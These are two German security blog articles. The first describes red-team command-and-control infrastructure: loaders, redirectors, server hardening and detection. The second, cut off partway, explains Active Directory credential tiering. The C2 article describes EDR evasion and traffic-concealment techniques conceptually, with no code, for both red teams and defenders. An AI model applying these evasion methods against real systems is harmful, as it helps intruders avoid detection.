Ein Hauptziel eines offensiven Sicherheitsengagements, wie zum Beispiel einer Red Team Übung, besteht darin, Angriffe zu simulieren, um die Abwehrmechanismen einer Organisation zu testen und zu verbessern. Bei solchen Einsätzen werden häufig Command and Control (C2) Systeme verwendet, um Code auf kompromittierten Endpunkten aus der Ferne auszuführen. Dafür ist eine gut gestaltete und abgesicherte C2-Infrastruktur erforderlich, um die Umgebung des Kunden nicht zu gefährden. Eine falsch konfigurierte C2-Architektur oder unzureichend geschützte C2-Komponenten auf den Client-Endpunkten können selbst zu Angriffszielen für reale Angreifer werden.

Dieser Artikel untersucht die Schlüsselkomponenten einer Command and Control (C2) -Implementierung, hebt potenzielle Erkennungsvektoren hervor und skizziert Strategien zum Aufbau einer sicheren und unauffälligen C2-Infrastruktur.

Was ist ein Command and Control (C2) System?

Command and Control (C2) ist ein wesentlicher Bestandteil offensiver Sicherheitstests, insbesondere bei Red Team Übungen, bei denen die Taktiken von Bedrohungsakteuren simuliert werden. Ziel ist es, die Abwehrmechanismen einer Organisation zu überprüfen und die Kontrolle über kompromittierte Geräte, Netzwerke oder Systeme aufrechtzuerhalten. Penetrationstester und Red Teams verwenden häufig kommerzielle C2-Frameworks wie Cobalt Strike, während Angreifer in der realen Welt auf geleakte kommerzielle C2-Versionen, massgeschneiderte Lösungen oder Open-Source-Alternativen wie Sliver zurückgreifen. Zusätzlich zu dedizierten C2-Tools verwenden Angreifer auch legitime IT-Verwaltungssoftware wie AnyDesk oder TeamViewer für verdeckte Command-and-Control-Operationen.

C2-Systeme bestehen in der Regel aus einem zentralen Server, der mit kompromittierten Systemen über verschiedene Protokolle kommuniziert, oft mit Verschlüsselung. Diese Systeme ermöglichen es C2-Betreibern, Befehle zu erteilen und Daten oder Rückmeldungen von infizierten Endpunkten zu empfangen, und dienen so effektiv als Fernsteuerung für böswillige Aktivitäten. Dies ermöglicht es Angreifern:

• Code aus der Ferne auf kompromittierten Endpunkten ausführen
• Daten exfiltrieren
• Persistenz aufrechterhalten, um die Kontrolle über das System zu behalten
• Malware oder Ransomware auf infizierten Endpunkten einsetzen
• Aktionen auf dem Endpunkt ausführen, z. B. Webcams und Mikrofone aktivieren, Tastenanschläge protokollieren oder Screenshots erstellen

C2 Frameworks

Es gibt verschiedene C2-Frameworks, die jeweils unterschiedliche Möglichkeiten für Command and Control bei offensiven Sicherheitsoperationen bieten. Einen umfassenden Überblick über die vorhandenen C2-Frameworks und ihre Funktionen ist auf der Website The C2 Matrix zu finden. Diese Ressource bietet Einblicke in verschiedene C2-Lösungen und beschreibt deren Funktionen, unterstützte Protokolle und Umgehungstechniken. Für Unterhaltung sorgt neben nützlichen Informationen auch die Videos Official OffSec C2 Tier List und Atomics on a Friday || Purple March Madness || C2 Winner.

Zu den fortschrittlichsten kommerziellen C2-Frameworks gehören heute Nighthawk C2 und BruteRatel. Diese Frameworks zeichnen sich durch ihre modernen Umgehungstechniken aus, die darauf ausgelegt sind, Endpoint Detection & Response (EDR), Antivirus (AV) und andere Sicherheitslösungen effektiver zu umgehen als herkömmliche C2-Systeme wie Cobalt Strike.
Nighthawk C2 bietet eine benutzerfreundliche Plattform, die die Bediener in den ersten Entwicklungsphasen von Payloads unterstützt und gleichzeitig Verschleierungs- und Umgehungsstrategien integriert. Dadurch ist es für Bediener zugänglich und reduziert gleichzeitig die Komplexität der Einrichtung. Dies hat einen Preis von 10.000 US-Dollar pro Benutzer und Jahr, wobei mindestens drei Benutzerlizenzen erforderlich sind (Stand: März 2025).
Im Gegensatz dazu bietet Brute Ratel eine umfangreiche Palette an Anpassungsoptionen, erfordert jedoch ein tiefes Verständnis der Loader-Entwicklung. Im Gegensatz zum Nighthawk C2-Framework, bei dem die Loader-Erstellung stärker automatisiert ist, erwartet Brute Ratel, dass der Bediener den Loader manuell erstellt, was eine grössere Flexibilität auf Kosten einer steileren Lernkurve bietet. Einmal konfiguriert, ist es jedoch aufgrund seiner Fähigkeit, modernen Sicherheitslösungen zu umgehen, eines der leistungsstärksten C2-Frameworks auf dem Markt. Der Preis für eine Lizenz beträgt 3000 US-Dollar (Stand: März 2025).
Beide Frameworks entwickeln sich laufend weiter, da die Sicherheitsmassnahmen immer ausgefeilter werden. Beide Frameworks bieten Red Teams fortschrittliche Funktionen und reduzieren gleichzeitig den Bedarf an interner Entwicklung und Forschung, sodass sich die Betreiber mehr auf die Ausführung konzentrieren können, anstatt Umgehungstechniken von Grund auf neu zu entwickeln.

Neben kommerziellen C2-Frameworks gibt es mehrere leistungsstarke Open-Source-Alternativen, wie z. B. Sliver, Mythic, Merlin, Havoc und Empire. Diese Frameworks bieten robuste Command-and-Control-Funktionen, die häufig moderne Umgehungstechniken und Anpassungsflexibilität beinhalten. Open-Source-C2-Lösungen werden aufgrund ihrer Zugänglichkeit und der kontinuierlichen, von der Community vorangetriebenen Verbesserungen häufig von Red Teams, Penetrationstestern und Angreifern eingesetzt. Sie erfordern zwar im Vergleich zu kommerziellen Lösungen möglicherweise mehr Konfiguration und Anpassung, bieten aber eine gute Grundlage für offensive Sicherheitseinsätze ohne die Kosten und Lizenzbeschränkungen kommerzieller Tools.

Die letzte Option ist die Entwicklung eines benutzerdefinierten C2. Dieses kann mehr Tarnung und Flexibilität bieten als kommerzielle oder Open-Source-Alternativen. Dieser Ansatz erfordert jedoch Zeit sowie Fachwissen in der Entwicklung sicherer Codes, Netzwerk- und Umgehungstechniken. Ein benutzerdefiniertes C2 ist zwar ressourcenintensiv, gibt den Red Teams aber die volle Kontrolle über die Kommunikationsmethoden und kann die Umgehungsfähigkeit von Sicherheitsmassnahmen verbessern.

Ob eine kommerzielle, Open-Source- oder massgeschneiderte C2-Lösung gewählt wird, der Erfolg hängt letztlich vom C2-Betreiber ab. Selbst die ausgefeiltesten Umgehungstechniken in kommerziellen C2-Frameworks sind wirkungslos, wenn der Betreiber nicht über das nötige OPSEC Wissen verfügt, um eine Entdeckung zu vermeiden.

C2 Evaluierung

Bei der Auswahl eines C2 kann es hilfreich sein, dessen Fähigkeiten, Kompatibilität und Sicherheitsmerkmale zu bewerten, um sicherzustellen, dass es den betrieblichen Anforderungen entspricht. Eine Bewertungstabelle ermöglicht einen objektiven Vergleich und erleichtert die Identifizierung von Stärken, Schwächen und Eignung. Nachfolgend ein Beispiel einer Bewertungstabelle für einen C2, basierend auf den Hauptmerkmalen:

Zur Bewertung eines C2 kann das folgende Bewertungssystem angewendet werden:

Jedes Merkmal wird anhand seiner Wichtigkeit bewertet. Kritische fehlende Anforderungen erhalten eine negative Bewertung, während zusätzliche, aber nicht wesentliche Merkmale dennoch positiv zur Bewertung beitragen. Durch die Anwendung dieses Systems können die Red Teams verschiedene C2-Systeme objektiv vergleichen und so sicherstellen, dass sie eines auswählen, das ihren Bedürfnissen am besten entspricht.

Nach der Bewertung von C2-Systemen sind Tests in einer kontrollierten Umgebung unerlässlich. Das ausgewählte Framework sollte die betrieblichen Anforderungen erfüllen und gleichzeitig Sicherheit und Integrität gewährleisten. Der Netzwerkverkehr sollte auf ungewöhnliche Aktivitäten analysiert werden, um potenzielle Hintertüren oder nicht autorisierte Kommunikationen zu identifizieren. Wo möglich, kann eine Codeüberprüfung für Open-Source-Frameworks dabei helfen, Sicherheitsrisiken oder versteckte Funktionen aufzudecken. Die Überprüfung von Datenverkehr und Code reduziert das Risiko, bevor das Framework in einer Produktionsumgebung eingesetzt wird.

C2 Architektur

Die folgende Abbildung zeigt ein Beispiel für eine C2-Architektur.

C2 Komponenten

Wie in der Architektur dargestellt, besteht eine C2-Infrastruktur aus mehreren miteinander verbundenen Komponenten, die es Angreifern oder Red Teams ermöglichen, den Fernzugriff auf kompromittierte Systeme aufrechtzuerhalten. Eine ordnungsgemäss konfigurierte Einrichtung gewährleistet eine zuverlässige Befehlsausführung, die Betriebssicherheit und senkt das Risiko Entdeckt zu werden. Die Architektur umfasst in der Regel Loader, Redirectoren, Firewalls, Proxys, den C2-Server sowie unterstützende interne und externe C2-Dienste.

Loader

Ein Loader dient als die initiale Ausführungskomponente, die dafür verantwortlich ist, von einer C2-Infrastruktur generierten Shellcode, typischerweise einen Beacon, auf dem Zielsystem auszuführen. Sein primäres Ziel ist es, den Shellcode auszuführen und dabei die Erkennung durch Sicherheitslösungen wie Endpoint Detection and Response (EDR) sowie Antivirensoftware (AV) zu umgehen. Loader können unterschiedliche Formen annehmen, etwa eine eigens erstellte PE-Datei, eine legitime PE-Datei mit injiziertem Code, ein Installer, ein Skript oder ein Office-Dokument mit eingebetteten Makros. Ein hervorragender Vortrag zu möglichen Loader-Formaten unter Windows, präsentiert von Emeric Nasi, ist hier verfügbar: Breach the Gates.

Um signaturbasierte Erkennung zu umgehen, wird der Shellcode üblicherweise verschlüsselt und entweder direkt im Loader eingebettet, aus dem Internet heruntergeladen oder aus einer anderen abgelegten Datei geladen, oft getarnt als Bilddatei oder ein anderes legitim wirkendes Format. Bei der Ausführung wird er im Speicher entschlüsselt und stellt anschliessend eine Verbindung zum C2-Server her. Ein weiterer Ansatz besteht darin, den Prozess in Stufen zu unterteilen: Zunächst wird ein einfacher Stage-1-Loader ausgeführt, der mit minimaler Logik und grundlegenden Evasion-Techniken unauffälligen Erstzugriff ermöglicht. Seine Hauptaufgabe besteht darin, einen leistungsfähigeren Stage-2-Loader zu laden und zu entschlüsseln, der dann Aufgaben übernimmt wie das Entschlüsseln der Kernlogik des Beacons, das Injizieren von Shellcode in den Speicher, das Umgehen von EDR-Mechanismen und das Herstellen der Verbindung zum C2-Server.

Die initiale Ausführung stellt eine kritische Phase in der Angriffskette dar, da sie einen zentralen Fokus moderner EDR-Lösungen bildet. Auch wenn ein Beacon selbst im Ruhezustand verbleibt oder verschleiert ist, werden die Ausführungsmuster des Loaders häufig durch statische, heuristische und verhaltensbasierte Analysen erkannt. Besonders selbst entwickelte Binärdateien ziehen Aufmerksamkeit auf sich, da sie einzigartige Signaturen und Build-Metadaten enthalten. Compiler betten beispielsweise Zeitstempel in ausführbare Dateien ein, wenn diese zu aktuell erscheinen, kann ein EDR die Datei als neuartig oder verdächtig einstufen. Dadurch kann ein Loader aufgrund des Verhaltens der Datei oder des Prozesses sowie deren Neuartigkeit oder Auffälligkeit bereits früh erkannt werden.

Zusätzlich zu Event-Tracing, dynamischer, statischer und zeitlicher Analyse untersuchen EDRs auch Prozessnutzungsmuster und validieren API-Call-Flows. EDRs erwarten, dass die Ausführung legitimen Aufrufketten durch vertrauenswürdige Module wie kernel32.dll und ntdll.dll folgt. Techniken wie direkte oder indirekte System Calls, Inline Hooks oder unbacked Call Stacks lösen häufig Warnungen aus, insbesondere wenn die Ausführung vom Standardverhalten der Windows-API abweicht. Darüber hinaus überwachen EDRs neu erstellte ausführbare Dateien besonders genau, insbesondere solche, die:

• Innerhalb weniger Minuten nach dem Schreiben auf die Festplatte ausgeführt werden
• Aus benutzerzugänglichen Verzeichnissen wie dem Desktop gestartet werden
• Unmittelbar nach dem Start ausgehende Netzwerkverbindungen initiieren

Solche Verhaltensmuster gelten als verdächtig. Daher werden schlecht konstruierte Loader in der Regel frühzeitig erkannt.

In den letzten Jahren sind mehrere kommerzielle Lösungen entstanden, die darauf abzielen, Loader zu generieren, die bestimmten Erkennungsmethoden entgehen. Bekannte Beispiele sind Balliskit, msecops und Shellter. Auch wenn diese Tools in manchen Fällen wirksam sind, erhöhen wiedererkennbare Muster oft das Risiko einer Erkennung. Ein massgeschneiderter Loader, der speziell auf das Zielsystem abgestimmt ist und unauffällig im Kontext legitimer Aktivitäten agiert, erzielt in der Regel die besten Ergebnisse.

Die folgende Abbildung zeigt ein abstrahiertes Beispiel der Schritte, die ein Loader zur Ausführung von Shellcode durchlaufen kann:

Ablaufschritte:

• Execution Guardrails: Das schädliche Programm wird nur ausgeführt, wenn bestimmte Bedingungen erfüllt sind, etwa die erwartete Umgebung oder ein bestimmter Kunde während eines Red-Team-Einsatzes.
• Entschlüsselung & Laden: Der Loader entschlüsselt den eingebetteten oder extern geladenen Shellcode im Speicher, sodass keine Spuren auf der Festplatte entstehen
• Ausführung: Der entschlüsselte Shellcode wird im Speicher ausgeführt, ohne Spuren auf dem Dateisystem zu hinterlassen
• Evasion-Techniken: Der Loader kann Techniken wie Prozessinjektion, API-Unhooking oder Shellcode-Stomping einsetzen
• Beacon Deployment: Bei Staged-Setups lädt das Shellcode den Beacon als zweite Stufe nach. Bei Stageless-Setups ist der Beacon direkt eingebettet und wird sofort ausgeführt
• Evasion-Techniken: Nach der Ausführung kann der Beacon weitere Tarntechniken einsetzen, z.B. indirekte Syscalls, Stack-Spoofing oder Stomping
• C2-Kommunikation: Der ausgeführte Beacon stellt die Verbindung zum C2-Server her und ermöglicht Remote-Kontrolle

Redirector

Ein Redirector (auch als Relay oder Bridge bekannt) dient als Relaispunkt zwischen dem kompromittierten Ziel und dem eigentlichen C2-Server und verhindert so, dass die tatsächliche IP-Adresse des C2-Servers direkt offengelegt wird. Dadurch wird eine zusätzliche Ebene der Betriebssicherheit hinzugefügt, indem die Infrastruktur des Angreifers vor der Erkennung geschützt wird.

Umgeleiteter Verkehr kann beispielsweise über folgende Routen geleitet werden:

• Kompromittierte Hosts: Zuvor gehackte Maschinen, die als Relais fungieren
• Cloud-Dienste und CDNs: Plattformen wie Azure, Cloudflare, AWS und Fastly helfen dabei, C2-Verkehr mit legitimer Cloud-Kommunikation zu verschmelzen
• Verdeckte Umleitungen: Die Umleitung kann beispielsweise auch durch die Nutzung von Microsoft Teams, Slack oder Cloud-APIs wie Microsoft Graph implementiert werden, um C2-Verkehr innerhalb des legitimen Anwendungsverkehrs zu tunneln, wodurch der C2-Traffic viel schwerer zu erkennen ist.

Über einfaches Weiterleiten von Datenverkehr hinaus fungiert ein Redirector als Proxy oder setzt eine Web Application Firewall (WAF) vor dem C2-Server ein. Er stellt sicher, dass nur C2-relevanter Datenverkehr an den C2-Server weitergeleitet wird, während nicht-C2-bezogener Traffic entweder blockiert oder auf eine legitim wirkende Website umgeleitet wird.

Firewall

Eine Firewall innerhalb einer C2-Infrastruktur wird verwendet, um den Datenverkehr zwischen dem Angreifer, den kompromittierten Computern und dem C2-Server zu filtern, zu untersuchen und zu kontrollieren. Indem die Firewall nur Datenverkehr von vorab genehmigten Umleitungsadressen akzeptiert, stellt sie sicher, dass die echte C2-Infrastruktur verborgen bleibt, was es für Verteidiger erheblich erschwert, die Command-and-Control-Einrichtung des Angreifers zu identifizieren. Dies trägt dazu bei, das Erkennungsrisiko zu minimieren und den unbefugten Zugriff auf das C2-Netzwerk zu verhindern.

Beispielsweise kann der C2-Betreiber daran gehindert werden, eine direkte Verbindung zum C2-Server herzustellen. Stattdessen muss der Zugriff über einen internen Jump-Server erfolgen, der als zwischengeschaltetes Gateway fungiert. Um diesen Zugriff weiter zu sichern, kann für die Verbindung zum Jump-Server beispielweise ein VPN-Tunnel mit IPSEC-EAP-TLS erforderlich sein, der eine verschlüsselte und authentifizierte Kommunikation gewährleistet.

Interner Proxy

Ein interner Proxy, ähnlich einem externen Redirector, untersucht eingehenden HTTP-Verkehr und stellt sicher, dass nur C2-bezogene Anfragen an den eigentlichen C2-Server weitergeleitet werden. Diese zusätzliche Filterebene trägt zur Aufrechterhaltung der Betriebssicherheit bei, verbirgt die C2-Infrastruktur und verringert das Risiko einer Entdeckung.

C2 Server und Services

Der C2-Server ist die zentrale Komponente einer Command-and-Control-Infrastruktur, die für den Empfang des Beacon Datenverkehrs, die Erteilung von Befehlen und die Verwaltung kompromittierter Hosts verantwortlich ist. Er dient Angreifern oder Red Teams als primäre Schnittstelle, um ihre Operationen zu steuern, Aufgaben auszuführen und die Persistenz auf Zielsystemen aufrechtzuerhalten. Ein C2-Server ist häufig auf zusätzliche Dienste angewiesen, um die Funktionalität und Tarnung zu erhöhen. Dazu können zusätzliche Clients zur Verwendung von Proxychains, ein C2-SIEM zur Protokollierung und Überwachung, gefälschte Websites zur Nachverfolgung oder für Phishing-Angriffe oder DNS over HTTPS (DoH) gehören.

Um die Betriebssicherheit und die Datentrennung zu gewährleisten, sollte für jeden Einsatz eines Red Teams ein dediziertes Segement mit einem eigenen C2-Server und eigenen Diensten vorhanden sein. Dadurch wird sichergestellt, dass Kundendaten aus verschiedenen Einsätzen getrennt bleiben. Eine gut strukturierte Abschottungsstrategie erleichtert auch die saubere Ausserbetriebnahme nach einem Einsatz und verringert das Risiko einer versehentlichen Offenlegung von Daten oder von zurückgelassenen Artefakten.

Alle C2-Server sollten verschlüsselt sein und eine Entsperr-PIN erfordern, um gestartet zu werden, wenn sie offline geschaltet werden. Dies fügt eine zusätzliche Sicherheitsebene hinzu, um im Falle einer Kompromittierung einen unbefugten Zugriff zu verhindern. Wenn Backups erforderlich sind, müssen diese ebenfalls verschlüsselt werden, um den Zugriff auf sensible Betriebsdaten zu verhindern.

Häufig werden der C2-Server und die damit verbundenen Dienste in virtualisierten Umgebungen eingesetzt, um die Flexibilität, Skalierbarkeit und Isolierung zu verbessern. Die Sicherung dieser Komponenten allein reicht jedoch nicht aus, auch der Hypervisor selbst muss vor unbefugtem Zugriff geschützt werden. Ein kompromittierter Hypervisor stellt ein hohes Risiko dar, da er die vollständige Kontrolle über die gesamte virtualisierte C2-Infrastruktur gewährt und es Angreifern ermöglicht, Sicherheitsmassnahmen des Gastbetriebssystems zu umgehen und uneingeschränkten Zugriff auf C2-Vorgänge zu erhalten. Um dieses Risiko zu mindern, muss der Zugriff auf den Hypervisor eingeschränkt werden, was Authentifizierungsmechanismen wie Multi-Faktor-Authentifizierung (MFA) und rollenbasierte Zugriffskontrollen erfordert. Logs und Überwachung sollten verwendet werden, um unbefugte Zugriffsversuche zu erkennen. Darüber hinaus müssen virtuelle C2-Maschinen von anderen Workloads isoliert werden, die auf demselben Hypervisor ausgeführt werden. Es sollte eine strenge Netzwerksegmentierung implementiert werden, um unnötige Kommunikation zwischen VMs zu verhindern und das Risiko einer lateralen Ausbreitung im Falle einer Kompromittierung zu minimieren.

C2 Detection

Die Erkennung von C2-Aktivitäten konzentriert sich typischerweise auf drei Hauptbereiche: den Loader, das Beacon und den Netzwerkverkehr selbst.

• Loader-Erkennung: Die meisten Erkennungen erfolgen während der initialen Ausführung, wenn EDRs verhaltensbasierte Analysen und Heuristiken einsetzen, um verdächtige Aktivitäten wie Prozessinjektionen, die Nutzung von PowerShell oder anderen Skriptsprachen sowie unsignierte Binärdateien zu erkennen. Moderne EDR-Lösungen wie Elastic, CrowdStrike und Microsoft Defender for Endpoint sind besonders effektiv bei der Erkennung bösartiger Aktivitäten, etwa durch die Analyse des Laufzeitverhaltens und von Speicherstrukturen, einschliesslich Anomalien bei API-Aufrufen, Remote-Thread-Erstellung, Speicherzuweisungen mit verdächtigen Attributen und Shellcode-ähnlicher Entropie in Speicherbereichen. Loader, die kurz nach dem Schreiben auf das System ausgeführt werden, aus benutzerzugänglichen oder ungewöhnlichen Verzeichnissen starten oder manipulierte Metadaten enthalten, werden besonders häufig erkannt. Elastic bietet unter dem Repository protections-artifacts eine Reihe hervorragender Regelsätze.
• Beacon-Erkennung: Gut gestaltete Beacons sind schwerer zu erkennen, dennoch kann sich wiederholende Kommunikation, insbesondere über Standardprotokolle wie HTTP oder DNS, auch mit Jitter durch verhaltensbasierte Analysen und Traffic Muster erkannt werden. Erkennungen treten häufig auf, wenn der C2-Operator keine sauberen OPSEC-Praktiken anwendet.
• Traffic-Erkennung: C2-Kommunikation kann durch Netzwerküberwachung und Flow-Analyse erkannt werden, insbesondere wenn sie unverschlüsselt erfolgt, Protokolle zweckentfremdet (z.B. DNS zur Datenexfiltration) oder auffällige zeitliche Muster aufweist. Lösungen wie Microsoft Defender for Endpoint (MDE) liefern aggregierte Telemetriedaten, die beacon-artige Aktivität sichtbar machen können. Eine gute Analyse dazu bietet Bluraven Academy. Open-Source-Tools wie RITA – Real Intelligence Threat Analytics wurden speziell zur Erkennung von C2-Mustern im Netzwerkverkehr entwickelt, insbesondere Beaconing. RITA analysiert Flow-Daten und identifiziert Indikatoren wie lange Verbindungsdauern, gleichmässige Paketgrössen und regelmässige Kommunikationsintervalle.

Fazit

Der Aufbau einer C2-Infrastruktur erfordert mehr, als nur einen Server bereitzustellen und Payloads zu generieren. Jede Komponente innerhalb der C2-Architektur erfüllt eine spezifische Rolle, um die Tarnung zu wahren und eine zuverlässige Befehlsübermittlung zu gewährleisten. Loader müssen der Früherkennung entgehen, während die Netzwerkkomponenten des C2 den Backend-Zugriff absichern und Zugriffskontrollen durchsetzen. Der C2-Server selbst sollte streng abgesichert sein und nur über gehärtete, eingeschränkte Kommunikationskanäle erreichbar sein.

Über die Infrastruktur hinaus müssen C2-Operatoren mögliche Erkennungspunkte entlang der gesamten Angriffskette berücksichtigen. Loader werden häufig durch verhaltensbasierte Analysen erkannt, während Beaconing-Aktivitäten durch Kommunikationsmuster und Endpoint-Telemetrie auffallen können. Darüber hinaus können auch Fehler des Operators, wie zu offensichtliche Payloads, fehlerhafte Konfigurationen oder nicht plausibler Netzwerkverkehr, die Erkennung begünstigen.

Dieser Artikel hat die zentralen Komponenten einer C2-Infrastruktur erläutert und gängige Umgehungsstrategien angeschnitten. Damit soll einerseits Red Teams beim Aufbau ihrer C2-Infrastruktur unterstützt werden und andererseits Verteidigern ein besseres Verständnis dafür vermittelt werden, wie solche C2-Systeme aufgebaut sind.

Credential Tiering ist eine essentielle Komponente in der identitätszentrierten Sicherheit und sollte keinesfalls unterschätzt werden. Tiering spielt eine entscheidende Rolle bei der Steigerung der Sicherheit einer IT-Umgebung. Die Implementierung von Credential Tiering etabliert einen robusten Schutz gegen potenzielle Sicherheitsverletzungen, welche dem gesamten Unternehmen schaden und die Grundprinzipien der Vertraulichkeit, Integrität und Verfügbarkeit gefährden könnten. Es ist zu betonen, dass Credential Tiering die grundlegenden Herausforderungen des Anmeldedaten-Diebstahls adressiert, die nicht einfach durch trendige Cloud-Lösungen oder toolbasierte Methoden ersetzt werden können.

Dieser erste Artikel einer zweiteiligen Serie erörtert die Bedeutung von Credential Tiering am Beispiel des Microsoft Credential Tier Modells. Der zweite Teil befasst sich mit der Implementierung, der Identifizierung von Tier-0-Objekten sowie der Messung und Visualisierung des Fortschritts bei der Implementierung einer Active Directory Credential Tier Umsetzung.

Warum sollte uns das interessieren?

Andy Robbins von SpecterOps machte während einer seiner Präsentationen Attacking and Defending Azure with BloodHound, eine Aussage, die Aufmerksamkeit verdient: “Seit über 20 Jahren werden immer wieder die gleichen oder ähnliche Tactics, Techniques und Procedures (TTP) eingesetzt, um Unternehmen zu kompromittieren, die Active Directory verwenden.” Warum ist dies immer wieder der Fall? Active Directory ist ein weit verbreiteter Identity Provider (IdP) und ist in fast allen IT-Umgebungen anzutreffen. Aufgrund seiner Beliebtheit und seines Alters sind Schwachstellen in diesem Dienst gut dokumentiert und manifestieren sich auf verschiedene Weise, einschliesslich legitimen Protokollmissbrauchs, falsche Konfigurationen, suboptimale Verwaltungspraktiken, Missbrauch von Berechtigungen, Vernachlässigung von Updates oder Härtungsempfehlungen und mehr.

Die Herausforderungen im Zusammenhang mit IdPs sind nicht nur bei Active Directory zu finden; andere IdPs wie AWS, Entra ID und GCP stehen vor ähnlichen Hürden. Grosse Unternehmen wie Google, Microsoft und Amazon scheinen die Schwierigkeiten beim sicheren Betrieb dieser Systeme auch nicht vollständig lösen zu können. Das einfache Hinzufügen weiterer Sicherheitstools löst die Ursache nicht wirklich. Stattdessen sollte der Fokus auf grundlegende Präventionsmethoden gelegt werden. In dem Blogbeitrag Defenders Mindset stellt John Lamberts fest: “Verteidiger denken in Listen. Angreifer denken in Graphen. Solange dies der Fall ist, gewinnen die Angreifer”. Dies unterstreicht die Notwendigkeit eines Perspektivwechsels und betont, wie wichtig es ist, die Taktiken des Gegners zu verstehen und einen proaktiven, strategischen Ansatz für die Sicherheit zu wählen. Ohne ein Umdenken bei der Sicherung von IT-Umgebungen werden wir immer wieder dieselben Diskussionen führen müssen, da die Gegner weiterhin dieselben Tactics, Techniques und Procedures anwenden, um IT-Umgebungen zu komprimittieren.

Eine äusserst wirksame Strategie zur Verbesserung der Sicherheit von Active Directory besteht darin, die vorhandenen Angriffspfade zu analysieren und die Auswirkungen ihrer Beseitigung zu bewerten. Detaillierte Einblicke in diesen Ansatz bieten die Artikel The Attack Path Management Manifesto von Andy Robbins und Attack Path Analysis – Gaining an Advantage Over Adversaries von mir. Es ist jedoch unerlässlich, einen Sicherheitsstandard für eine Active Directory-Umgebung zu erreichen. Andernfalls können entfernte Angriffspfade wieder auftauchen. Um einen definierten Zustand herzustellen, ist ein Sicherheitsmodell namens Credential Tiering unerlässlich. Im folgenden Kapitel wird das Konzept des Tiering und seine Bedeutung als grundlegendes Element zur Sicherung einer identitätszentrierten Umgebung wie Active Directory erläutert.

Was ist Credential Tiering?

Ein Tier-Modell ist ein Framework, das Identitäten und die Ressourcen, auf die sie zugreifen, auf der Grundlage ihres Wertes oder ihrer Bedeutung in verschiedene Tiers einteilt. Die Einteilung in Tiers erfordert die Implementierung von Sicherheitskontrollen, um die Trennung zwischen diesen Tiers aufrechtzuerhalten. Darüber hinaus definiert es Regeln für die Trennung, legt grundlegende Kontrollen fest, die vorhanden sein müssen, und erkennt die Möglichkeit zusätzlicher Kontrollen an. Je nach Umgebung gibt es verschiedene Arten von Tier-Modellen, z. B. für lokale Infrastruktur, Active Directory, Microsoft Cloud, AWS, geschäftskritische Anwendungen usw. Das grundlegende Konzept eines Tier-Modells stammt aus dem Bell-LaPadula-Sicherheitsmodell, das auf die Wahrung der Datenvertraulichkeit abzielt, und dem Biba-Modell, das sich auf die Datenintegrität konzentriert.

Eine ausführlichere Erklärung, ob Tiering hilfreich ist, findet sich in den folgenden beiden Artikeln, die 2012 und 2014 von Micosoft veröffentlicht wurden: Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Techniques_English.pdf und Mitigating-Pass-the-Hash-Attackss-and-Other-Credential-Theft-Version-2.pdf. Diese Dokumente behandeln Angriffe auf Active Directory und bieten ganzheitliche Planungsstrategien, die in Kombination mit den Windows-Sicherheitsfunktionen eine effektivere Verteidigung gegen Angriffe auf Credential Theft ermöglichen. Die beiden Artikel sind sehr empfehlenswert. In dem einten Artikel aus dem Jahr 2014 erklärt Microsoft Tiering als eine Möglichkeit, um zu verhindern, dass eine gesamte IT-Umgebung durch den Verlust eines einzelnen Assets gefährdet wird. Dabei wird eine Analogie zu grossen Schiffen verwendet, die über Abteilungen verfügen, um den durch ein Leck verursachten Schaden zu begrenzen. Indem IT-Umgebungen in ähnlicher Weise konzipiert werden, kann der Verlust der Vertraulichkeit, Integrität oder Verfügbarkeit eines oder mehrerer Assets eingedämmt und verhindert werden, dass der Rest der Umgebung in Mitleidenschaft gezogen wird. Im Anschluss an die Analogie wird das Containment-Modell vorgestellt und als Tiering Model Designed for Active Directory bezeichnet. In diesem Artikel bezeichnen wir das Modell als Microsoft Credential Tier-Modell. Dieses Modell hat drei Tiers von Verwaltungsrechten, aber in bestimmten Fällen können zusätzliche Tiers erforderlich sein. Zusätzliche Tiers müssen jedoch mit Bedacht hinzugefügt werden und sollten nicht zu unnötigen Tiering Verstössen führen.

• Tier-0 – Forest und Domain Administratoren: Direkte oder indirekte administrative Kontrolle über die Active Directory-Gesamtstruktur, Domänen oder Domänencontroller (DC). Dazu gehört auch der administrative Zugriff auf Speichergeräte, die Active Directory-Datenbankdateien enthalten.
• Tier-1 – Server-Administratoren: Direkte oder indirekte administrative Kontrolle über einen einzelnen oder mehrere Server, die nicht unter Tier-0 fallen. Geschäftskritische Server gehören ebenfalls zu dieser Ebene.
• Tier-2 – Workstation-Administratoren, Benutzeradministratoren, Helpdesk-Techniker: Direkte oder indirekte administrative Kontrolle über ein einzelnes oder mehrere Geräte und tägliche Benutzerkonten.

Das Modell zielt darauf ab, Angreifer daran zu hindern, mit gestohlenen Anmeldedaten höhere Privilegien zu erlangen. Microsoft beschreibt die folgenden Regeln für das Modell:

• Jede administrative Ressource, wie z. B. Gruppe, Konto, Server, Arbeitsstation, Active Directory-Objekt oder Anwendung, gehört nur zu einer Ebene.
• Mitarbeiter, die auf mehreren Tiers arbeiten, haben separate administrative Konten für jede Ebene, die sie benötigen. Jedes Konto, das auf mehr als eine Ebene zugreift, wird in mehrere Konten aufgeteilt, von denen jedes innerhalb einer Ebene bleibt. Diese Konten haben auch unterschiedliche Passwörter.
• Administratorkonten können keine Ressourcen höherer Tiers durch administrativen Zugriff kontrollieren, z. B. ACLs, Anwendungsagenten oder die Kontrolle von Dienstkonten. Konten, die eine höhere Ebene kontrollieren, können sich nicht bei Computern der niedrigeren Ebene anmelden, da dies die Anmeldedaten und Berechtigungen des Kontos offenlegen und gefährden könnte.
• Administratorkonten können Ressourcen der unteren Tiers entsprechend ihrer Rolle steuern, aber nur über Verwaltungsschnittstellen der höheren Ebene, die keine Anmeldeinformationen preisgeben. Beispielsweise können Domänen-Administratorkonten (Tier 0) Server-Admin-Active-Directory-Kontoobjekte (Tier 1) über Active-Directory-Verwaltungskonsolen auf einem Domänencontroller (Tier 0) verwalten.

In welchem Tier befinden sich meine IT-Lösungen?

